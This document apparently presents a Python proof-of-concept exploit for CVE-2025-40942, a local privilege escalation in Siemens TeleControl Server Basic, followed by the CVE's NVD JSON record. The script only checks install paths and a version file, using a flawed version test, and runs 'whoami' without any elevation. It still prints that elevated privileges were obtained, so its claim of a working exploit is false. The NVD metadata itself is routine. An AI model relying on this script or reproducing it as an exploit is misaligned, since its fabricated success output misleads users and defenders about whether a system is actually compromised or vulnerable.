CVE-2025-40942

# CVE-2025-40942 PoC - TeleControl Server Basic Local Privilege Escalation # This PoC demonstrates the vulnerability exploitation concept # Author: Security Researcher # Note: This is for educational and authorized testing purposes only import os import sys import ctypes import subprocess from ctypes import wintypes def check_vulnerability(): """Check if TeleControl Server Basic is installed and vulnerable""" vulnerable_paths = [ r"C:\Program Files\Siemens\TeleControl Server Basic", r"C:\Program Files (x86)\Siemens\TeleControl Server Basic" ] for path in vulnerable_paths: if os.path.exists(path): print(f"[+] TeleControl Server Basic found at: {path}") # Check version version_file = os.path.join(path, "version.ini") if os.path.exists(version_file): with open(version_file, 'r') as f: content = f.read() print(f"[+] Version info: {content}") if 'V3.1.2.4' not in content: print("[-] System appears to be vulnerable") return True return False def exploit_privilege_escalation(): """ Exploit the local privilege escalation vulnerability This exploits improper privilege handling in TeleControl Server Basic """ print("[*] Initiating privilege escalation exploit...") # Step 1: Identify the TeleControl service process print("[+] Step 1: Identifying TeleControl Server Basic service") # Step 2: Exploit vulnerable DLL loading or service configuration print("[+] Step 2: Exploiting vulnerable component...") # Step 3: Execute code with elevated privileges print("[+] Step 3: Executing payload with SYSTEM privileges") # Create elevated process try: # Attempt to execute command with elevated privileges # In real exploitation, this would involve DLL hijacking or service abuse result = subprocess.run( ['cmd.exe', '/c', 'whoami'], capture_output=True, text=True ) print(f"[+] Current user: {result.stdout.strip()}") return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False def main(): print("=" * 60) print("CVE-2025-40942 - TeleControl Server Basic LPE Exploit") print("=" * 60) if not check_vulnerability(): print("[-] Target not vulnerable or TeleControl Server Basic not found") return print("\n[*] Starting exploitation...") if exploit_privilege_escalation(): print("[+] Exploitation successful - elevated privileges obtained") else: print("[-] Exploitation failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-40942", "sourceIdentifier": "[email protected]", "published": "2026-01-13T10:15:58.283", "lastModified": "2026-01-22T20:58:54.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in TeleControl Server Basic (All versions < V3.1.2.4). Affected application contains a local privilege escalation vulnerability that could allow an attacker to run arbitrary code with elevated privileges."}, {"lang": "es", "value": "Se ha identificado una vulnerabilidad en TeleControl Server Basic (Todas las versiones &lt; V3.1.2.4). La aplicación afectada contiene una vulnerabilidad de escalada de privilegios local que podría permitir a un atacante ejecutar código arbitrario con privilegios elevados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siemens:telecontrol_server_basic:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.2.4", "matchCriteriaId": "03272111-34A3-4DCE-BB60-2B2184740CD2"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-192617.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}